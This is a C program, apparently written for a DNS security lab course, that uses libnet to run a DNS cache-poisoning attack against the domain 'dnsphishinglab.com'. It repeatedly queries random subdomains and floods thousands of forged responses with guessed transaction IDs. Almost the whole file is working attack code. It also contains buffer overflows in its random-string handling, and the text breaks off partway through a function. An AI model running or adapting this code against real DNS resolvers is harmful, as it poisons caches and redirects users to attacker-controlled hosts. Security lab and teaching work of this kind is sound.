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pacgenfinal.c
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pacgenfinal.c
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#include <libnet.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
/////////////////////////
//////REQUEST INIT//////
////////////////////////
int xx=1;
int length;
char len[];
char domain[]="dnsphishinglab.com";
int c;
u_char *cp;
libnet_t *l;
libnet_ptag_t t;
char errbuf[LIBNET_ERRBUF_SIZE];
char eth_file[FILENAME_MAX] = "";
char ip_file[FILENAME_MAX] = "";
char tcp_file[FILENAME_MAX] = "";
char payload_file[FILENAME_MAX] = "";
char *payload_location;
int x;
int y = 0;
int udp_src_port = 1; /* UDP source port */
int udp_des_port = 1; /* UDP dest port */
int z;
int i;
int payload_filesize = 0;
int t_src_port; /* TCP source port */
int t_des_port; /* TCP dest port */
int t_win; /* TCP window size */
int t_urgent; /* TCP urgent data pointer */
int i_id; /* IP id */
int i_frag; /* IP frag */
u_short head_type; /* TCP or UDP */
u_long t_ack; /* TCP ack number */
u_long t_seq; /* TCP sequence number */
u_long i_des_addr; /* IP dest addr */
u_long i_src_addr; /* IP source addr */
u_char i_ttos[90]; /* IP TOS string */
u_char t_control[65]; /* TCP control string */
u_char eth_saddr[6]; /* NULL Ethernet saddr */
u_char eth_daddr[6]; /* NULL Ethernet daddr */
u_char eth_proto[60]; /* Ethernet protocal */
int eth_pktcount; /* How many packets to send */
int nap_time; /* How long to sleep */
u_char ip_proto[40];
u_char spa[4]={0x0, 0x0, 0x0, 0x0};
u_char tpa[4]={0x0, 0x0, 0x0, 0x0};
u_char *device = NULL;
u_char i_ttos_val = 0; /* final or'd value for ip tos */
u_char t_control_val = 0; /* final or'd value for tcp control */
int i_ttl; /* IP TTL */
u_short e_proto_val = 0; /* final resulting value for eth_proto */
u_short ip_proto_val = 0; /* final resulting value for ip_proto */
//////////////////////////////
/////ATTACK INIT////////////
///////////////////////////
//int c;
u_char *cp;
libnet_t *la;
libnet_ptag_t ta;
//char errbuf[LIBNET_ERRBUF_SIZE];
char eth_file_a[FILENAME_MAX] = "";
char ip_file_a[FILENAME_MAX] = "";
char tcp_file_a[FILENAME_MAX] = "";
char payload_file_a[FILENAME_MAX] = "";
char *payload_function_a;
//int x;
//int y = 0;
int udp_src_port_a = 1; /* UDP source port */
int udp_des_port_a = 1; /* UDP dest port */
//int z;
//int i;
int payload_filesize_a = 0;
int t_src_port_a; /* TCP source port */
int t_des_port_a; /* TCP dest port */
int t_win_a; /* TCP window size */
int t_urgent_a; /* TCP urgent data pointer */
int i_id_a; /* IP id */
int i_frag_a; /* IP frag */
u_short head_type_a; /* TCP or UDP */
u_long t_ack_a; /* TCP ack number */
u_long t_seq_a; /* TCP sequence number */
u_long i_des_addr_a; /* IP dest addr */
u_long i_src_addr_a; /* IP source addr */
u_char i_ttos_a[90]; /* IP TOS string */
u_char t_control_a[65]; /* TCP control string */
u_char eth_saddr_a[6]; /* NULL Ethernet saddr */
u_char eth_daddr_a[6]; /* NULL Ethernet daddr */
u_char eth_proto_a[60]; /* Ethernet protocal */
int eth_pktcount_a; /* How many packets to send */
int nap_time_a; /* How long to sleep */
u_char ip_proto_a[40];
//u_char spa[4]={0x0, 0x0, 0x0, 0x0};
//u_char tpa[4]={0x0, 0x0, 0x0, 0x0};
//u_char *device = NULL;
u_char i_ttos_val_a = 0; /* final or'd value for ip tos */
u_char t_control_val_a = 0; /* final or'd value for tcp control */
int i_ttl_a; /* IP TTL */
u_short e_proto_val_a = 0; /* final resulting value for eth_proto_a */
u_short ip_proto_val_a = 0; /* final resulting value for ip_proto_a */
/////////////////////////
//////MAIN///////////////
////////////////////////
int main(int argc, char *argv[])
{
///////////////////////////
////WRITING INTO BUFFERS//
//////////////////////////
while ((c = getopt (argc, argv, "p:t:i:e:a:b:c:d:")) != EOF)
{
switch (c)
{
case 'p':
strcpy(payload_file, optarg);
break;
case 't':
strcpy(tcp_file, optarg);
break;
case 'i':
strcpy(ip_file, optarg);
break;
case 'e':
strcpy(eth_file, optarg);
break;
case 'a':
strcpy(payload_file_a, optarg);
break;
case 'b':
strcpy(tcp_file_a, optarg);
break;
case 'c':
strcpy(ip_file_a, optarg);
break;
case 'd':
strcpy(eth_file_a, optarg);
break;
default:
break;
}
}
if (optind != 17)
{
printf("error in arguments");
exit(0);
}
///////////////////////
///////////////////////
/////REQUEST PACKET///
//////////////////////
//////////////////////
////////////////////////
////REQUEST LOADING////
///////////////////////
load_ethernet();
load_tcp_udp();
load_ip();
convert_proto();
///////////////////////
////SEND REQUEST//////
/////////////////////
printf("calling load payload");
load_payload_request();
int ccc=0;
while(ccc<100000)
{
int randomNumber1=0;
int randomNumber2=0;
int randomNumber3=0;
printf("\nin while loop iteration %d\n",ccc+1);
ccc++;
char random_host_name[3];
random_host_name[0]="";
random_host_name[1]="";
random_host_name[2]="";
l = libnet_init(
LIBNET_LINK, /* injection type */
"eth14", /* network interface eth0, eth1, etc. NULL is default.*/
// "eth0", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
srand(time(NULL)+xx);
xx++;
randomNumber1 = (rand()%15);
srand(time(NULL)+xx);
xx++;
randomNumber2 = (rand()%15);
srand(time(NULL)+xx);
xx++;
randomNumber3 = (rand()%15);
//random_host_name[0]=randomNumber1;
//random_host_name[1]=randomNumber2;
//random_host_name[2]=randomNumber3;
sprintf(random_host_name, "%x%x%x", randomNumber1,randomNumber2,randomNumber3);
printf("starting attack with %s \n", random_host_name);
length=strlen(random_host_name);
printf("length is : %d",length);
/*
int j=0;
i=13;
for (j=0;j<length;j++)
{
*(payload_location + i + j) = random_host_name[j];
}
*/
payload_location[13]=random_host_name[0];
payload_location[14]=random_host_name[1];
payload_location[15]=random_host_name[2];
if(ip_proto_val==IPPROTO_TCP){
t = libnet_build_tcp(
t_src_port, /* source port */
t_des_port, /* destination port */
t_seq, /* sequence number */
t_ack, /* acknowledgement num */
t_control_val, /* control flags */
t_win, /* window size */
0, /* checksum */
t_urgent, /* urgent pointer */
LIBNET_TCP_H + payload_filesize, /* TCP packet size */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_TCP_H;
if (t == -1)
{
fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
goto bad;
}
}
if(ip_proto_val==IPPROTO_UDP){
t = libnet_build_udp(
t_src_port, /* source port */
t_des_port, /* destination port */
LIBNET_UDP_H + payload_filesize, /* packet length */
0, /* checksum */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_UDP_H;
if (t == -1)
{
fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
goto bad;
}
}
t = libnet_build_ipv4(
/* LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, length */
LIBNET_IPV4_H + head_type + payload_filesize, /* length */
i_ttos_val, /* TOS */
i_id, /* IP ID */
i_frag, /* IP Frag */
i_ttl, /* TTL */
ip_proto_val, /* protocol */
0, /* checksum */
i_src_addr, /* source IP */
i_des_addr, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
goto bad;
}
t = libnet_build_ethernet(
eth_daddr, /* ethernet destination */
eth_saddr, /* ethernet source */
e_proto_val, /* protocol type */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
goto bad;
}
/*
* Write it to the wire.
*/
if (nap_time >= 0)
printf("You have chosen to send %d packets every %d seconds. \nYou will need to press CTRL-C to halt this process.\n", eth_pktcount, nap_time);
if (nap_time == -1)
printf("You have chose to send %d packets and quit.\n",eth_pktcount);
c = libnet_write(l);
if (nap_time == -1){
y=999;
nap_time = 0;
}
sleep(nap_time); /*Pause of this many seconds then loop again*/
z=1;
printf("**** %d request packet sent **** (packetsize: %d bytes each)\n",eth_pktcount,c); /* tell them what we just did */
/* give the buf memory back */
////////////////////////
///////////////////////
/////ATTACK PACKETS///
/////////////////////
/////////////////////
load_payload_a();
load_ethernet_a();
load_tcp_udp_a();
load_ip_a();
convert_proto_a();
int sid=0;
for(sid=0;sid<5000;sid++)
{
printf("entering loop number %d",sid+1);
la = libnet_init(
LIBNET_LINK, /* injection type */
"eth14", /* network interface eth0, eth1, etc. NULL is default.*/
// "eth13", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
if (la == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
////////////////////
///ATTACK LOADING//
///////////////////
printf("\nadding\n");
payload_function_a[13]=random_host_name[0];
payload_function_a[14]=random_host_name[1];
payload_function_a[15]=random_host_name[2];
srand(time(NULL)+xx);
xx++;
char random[2];
int randomNumber1 = (rand()%256);
srand(time(NULL)+xx);
xx++;
int randomNumber2 = (rand()%256);
sprintf(random, "%x%x", randomNumber1,randomNumber2);
printf("random id is : %s \n",random);
//fread(payload_function_a,sizeof(char),2,random);
*payload_function_a = random[0];
*(payload_function_a+1) = random[1];
/////////////////////
///ATTACK SEND PACK//
////////////////////
if(ip_proto_val_a==IPPROTO_TCP){
ta = libnet_build_tcp(
t_src_port_a, /* source port */
t_des_port_a, /* destination port */
t_seq_a, /* sequence number */
t_ack_a, /* acknowledgement num */
t_control_val_a, /* control flags */
t_win_a, /* window size */
0, /* checksum */
t_urgent_a, /* urgent pointer */
LIBNET_TCP_H + payload_filesize_a, /* TCP packet size */
payload_function_a, /* payload */
payload_filesize_a, /* payload size */
la, /* libnet handle */
0); /* libnet id */
head_type_a = LIBNET_TCP_H;
if (ta == -1)
{
fprintf(stderr, "Can'ta build TCP header: %s\n", libnet_geterror(la));
goto bad;
}
}
if(ip_proto_val_a==IPPROTO_UDP){
ta = libnet_build_udp(
t_src_port_a, /* source port */
t_des_port_a, /* destination port */
LIBNET_UDP_H + payload_filesize_a, /* packet length */
0, /* checksum */
payload_function_a, /* payload */
payload_filesize_a, /* payload size */
la, /* libnet handle */
0); /* libnet id */
head_type_a = LIBNET_UDP_H;
if (ta == -1)
{
fprintf(stderr, "Can'ta build UDP header: %s\n", libnet_geterror(la));
goto bad;
}
}
ta = libnet_build_ipv4(
/* LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, length */
LIBNET_IPV4_H + head_type_a + payload_filesize_a, /* length */
i_ttos_val_a, /* TOS */
i_id_a, /* IP ID */
i_frag_a, /* IP Frag */
i_ttl_a, /* TTL */
ip_proto_val_a, /* protocol */
0, /* checksum */
i_src_addr_a, /* source IP */
i_des_addr_a, /* destination IP */
NULL, /* payload */
0, /* payload size */
la, /* libnet handle */
0); /* libnet id */
if (ta == -1)
{
fprintf(stderr, "Can'ta build IP header: %s\n", libnet_geterror(la));
goto bad;
}
ta = libnet_build_ethernet(
eth_daddr_a, /* ethernet destination */
eth_saddr_a, /* ethernet source */
e_proto_val_a, /* protocol type */
NULL, /* payload */
0, /* payload size */
la, /* libnet handle */
0); /* libnet id */
if (ta == -1)
{
fprintf(stderr, "Can'ta build ethernet header: %s\n", libnet_geterror(la));
goto bad;
}
/*
* Write it to the wire.
*/
/*
if (nap_time_a >= 0)
printf("You have chosen to send %d packets every %d seconds. \nYou will need to press CTRL-C to halt this process.\n", eth_pktcount_a, nap_time_a);
if (nap_time_a == -1)
printf("You have chose to send %d packets and quit.\n",eth_pktcount_a);
*/
c = libnet_write(la);
printf("attack packet sent\n");
if (nap_time_a == -1){
y=999;
nap_time_a = 0;
}
sleep(nap_time_a); /*Pause of this many seconds then loop again*/
z=1;
//printf("**** %d packets sent **** (packetsize: %d bytes each)\n",eth_pktcount_a,c); /* tell them what we just did */
/* give the buf memory back */
libnet_destroy(la);
}//end of for.. Attacks packets
libnet_destroy(l);
}//end while loop
printf("\ndone\n");
return 0;
bad:
libnet_destroy(l);
return (EXIT_FAILURE);
}
////////////////////////
///REQUEST FUNCTIONS///
///////////////////////
load_payload_request()
{
FILE *infile;
struct stat statbuf;
int i = 0;
int c = 0;
int j=0;
/* get the file size so we can figure out how much memory to allocate */
stat(payload_file, &statbuf);
payload_filesize = statbuf.st_size;
payload_location = (char *)malloc(payload_filesize * sizeof(char));
if (payload_location == 0)
{
printf("Allocation of memory for payload failed.\n");
exit(0);
}
/* open the file and read it into memory */
infile = fopen(payload_file, "r"); /* open the payload file read only */
while((c = getc(infile)) != EOF)
{
*(payload_location + i) = c;
i++;
}
fclose(infile);
}
/* load_ethernet: load ethernet data file into the variables */
load_ethernet()
{
FILE *infile;
char s_read[40];
char d_read[40];
char p_read[60];
char count_line[40];
infile = fopen(eth_file, "r");
fgets(s_read, 40, infile); /*read the source mac*/
fgets(d_read, 40, infile); /*read the destination mac*/
fgets(p_read, 60, infile); /*read the desired protocal*/
fgets(count_line, 40, infile); /*read how many packets to send*/
sscanf(s_read, "saddr,%x, %x, %x, %x, %x, %x", ð_saddr[0], ð_saddr[1], ð_saddr[2], ð_saddr[3], ð_saddr[4], ð_saddr[5]);
sscanf(d_read, "daddr,%x, %x, %x, %x, %x, %x", ð_daddr[0], ð_daddr[1], ð_daddr[2], ð_daddr[3], ð_daddr[4], ð_daddr[5]);
sscanf(p_read, "proto,%s", ð_proto);
sscanf(count_line, "pktcount,%d", ð_pktcount);
fclose(infile);
}
/* load_tcp_udp: load TCP or UDP data file into the variables */
load_tcp_udp()
{
FILE *infile;
char sport_line[20] = "";
char dport_line[20] = "";
char seq_line[20] = "";
char ack_line[20] = "";
char control_line[65] = "";
char win_line[20] = "";
char urg_line[20] = "";
infile = fopen(tcp_file, "r");
fgets(sport_line, 15, infile); /*read the source port*/
fgets(dport_line, 15, infile); /*read the dest port*/
fgets(win_line, 12, infile); /*read the win num*/
fgets(urg_line, 12, infile); /*read the urg id*/
fgets(seq_line, 13, infile); /*read the seq num*/
fgets(ack_line, 13, infile); /*read the ack id*/
fgets(control_line, 63, infile); /*read the control flags*/
/* parse the strings and throw the values into the variable */
sscanf(sport_line, "sport,%d", &t_src_port);
sscanf(sport_line, "sport,%d", &udp_src_port);
sscanf(dport_line, "dport,%d", &t_des_port);
sscanf(dport_line, "dport,%d", &udp_des_port);
sscanf(win_line, "win,%d", &t_win);
sscanf(urg_line, "urg,%d", &t_urgent);
sscanf(seq_line, "seq,%ld", &t_seq);
sscanf(ack_line, "ack,%ld", &t_ack);
sscanf(control_line, "control,%[^!]", &t_control);
fclose(infile); /*close the file*/
}
/* load_ip: load IP data file into memory */
load_ip()
{
FILE *infile;
char proto_line[40] = "";
char id_line[40] = "";
char frag_line[40] = "";
char ttl_line[40] = "";
char saddr_line[40] = "";
char daddr_line[40] = "";
char tos_line[90] = "";
char z_zsaddr[40] = "";
char z_zdaddr[40] = "";
char inter_line[15]="";
infile = fopen(ip_file, "r");
fgets(id_line, 11, infile); /* this stuff should be obvious if you read the above subroutine */
fgets(frag_line, 13, infile); /* see RFC 791 for details */
fgets(ttl_line, 10, infile);
fgets(saddr_line, 24, infile);
fgets(daddr_line, 24, infile);
fgets(proto_line, 40, infile);
fgets(inter_line, 15, infile);
fgets(tos_line, 78, infile);
sscanf(id_line, "id,%d", &i_id);
sscanf(frag_line, "frag,%d", &i_frag);
sscanf(ttl_line, "ttl,%d", &i_ttl);
sscanf(saddr_line, "saddr,%s", &z_zsaddr);
sscanf(daddr_line, "daddr,%s", &z_zdaddr);
sscanf(proto_line, "proto,%s", &ip_proto);
sscanf(inter_line, "interval,%d", &nap_time);
sscanf(tos_line, "tos,%[^!]", &i_ttos);
i_src_addr = libnet_name2addr4(l, z_zsaddr, LIBNET_RESOLVE);
i_des_addr = libnet_name2addr4(l, z_zdaddr, LIBNET_RESOLVE);
fclose(infile);
}
convert_proto()
{
/* Need to add more Ethernet and IP protocals to choose from */
if(strstr(eth_proto, "arp") != NULL)
e_proto_val = e_proto_val | ETHERTYPE_ARP;
if(strstr(eth_proto, "ip") != NULL)
e_proto_val = e_proto_val | ETHERTYPE_IP;
if(strstr(ip_proto, "tcp") != NULL)
ip_proto_val = ip_proto_val | IPPROTO_TCP;
if(strstr(ip_proto, "udp") != NULL)
ip_proto_val = ip_proto_val | IPPROTO_UDP;
}
////////////////////////////
/////ATTACK FUNCTIONS//////
///////////////////////////
load_payload_a()
{
FILE *infile;
struct stat statbuf;
int i = 0;
int c = 0;
int j=0;
/* get the file size so we can figure out how much memory to allocate */
stat(payload_file_a, &statbuf);
payload_filesize_a = statbuf.st_size;
payload_function_a = (char *)malloc(payload_filesize_a * sizeof(char));
if (payload_function_a == 0)
{
printf("Allocation of memory for payload failed.\n");
exit(0);
}
/* open the file and read it into memory */
infile = fopen(payload_file_a, "r"); /* open the payload file read only */
while((c = getc(infile)) != EOF)
{
*(payload_function_a + i) = c;
i++;
}
fclose(infile);
}
/* load_ethernet: load ethernet data file into the variables */
load_ethernet_a()
{
FILE *infile;
char s_read[40];
char d_read[40];
char p_read[60];
char count_line[40];
infile = fopen(eth_file_a, "r");
fgets(s_read, 40, infile); /*read the source mac*/
fgets(d_read, 40, infile); /*read the destination mac*/
fgets(p_read, 60, infile); /*read the desired protocal*/
fgets(count_line, 40, infile); /*read how many packets to send*/
sscanf(s_read, "saddr,%x, %x, %x, %x, %x, %x", ð_saddr_a[0], ð_saddr_a[1], ð_saddr_a[2], ð_saddr_a[3], ð_saddr_a[4], ð_saddr_a[5]);
sscanf(d_read, "daddr,%x, %x, %x, %x, %x, %x", ð_daddr_a[0], ð_daddr_a[1], ð_daddr_a[2], ð_daddr_a[3], ð_daddr_a[4], ð_daddr_a[5]);
sscanf(p_read, "proto,%s", ð_proto_a);
sscanf(count_line, "pktcount,%d", ð_pktcount_a);
fclose(infile);
}
/* load_tcp_udp: load TCP or UDP data file into the variables */
load_tcp_udp_a()
{
FILE *infile;
char sport_line[20] = "";
char dport_line[20] = "";
char seq_line[20] = "";
char ack_line[20] = "";
char control_line[65] = "";
char win_line[20] = "";
char urg_line[20] = "";
infile = fopen(tcp_file_a, "r");
fgets(sport_line, 15, infile); /*read the source port*/
fgets(dport_line, 15, infile); /*read the dest port*/
fgets(win_line, 12, infile); /*read the win num*/
fgets(urg_line, 12, infile); /*read the urg id*/
fgets(seq_line, 13, infile); /*read the seq num*/
fgets(ack_line, 13, infile); /*read the ack id*/
fgets(control_line, 63, infile); /*read the control flags*/
/* parse the strings and throw the values into the variable */
sscanf(sport_line, "sport,%d", &t_src_port_a);
sscanf(sport_line, "sport,%d", &udp_src_port_a);
sscanf(dport_line, "dport,%d", &t_des_port_a);
sscanf(dport_line, "dport,%d", &udp_des_port_a);
sscanf(win_line, "win,%d", &t_win_a);
sscanf(urg_line, "urg,%d", &t_urgent_a);
sscanf(seq_line, "seq,%ld", &t_seq_a);
sscanf(ack_line, "ack,%ld", &t_ack_a);
sscanf(control_line, "control,%[^!]", &t_control_a);
fclose(infile); /*close the file*/
}
/* load_ip: load IP data file into memory */
load_ip_a()
{
FILE *infile;
char proto_line[40] = "";
char id_line[40] = "";
char frag_line[40] = "";
char ttl_line[40] = "";
char saddr_line[40] = "";
char daddr_line[40] = "";
char tos_line[90] = "";
char z_zsaddr[40] = "";
char z_zdaddr[40] = "";
char inter_line[15]="";
infile = fopen(ip_file_a, "r");
fgets(id_line, 11, infile); /* this stuff should be obvious if you read the above subroutine */
fgets(frag_line, 13, infile); /* see RFC 791 for details */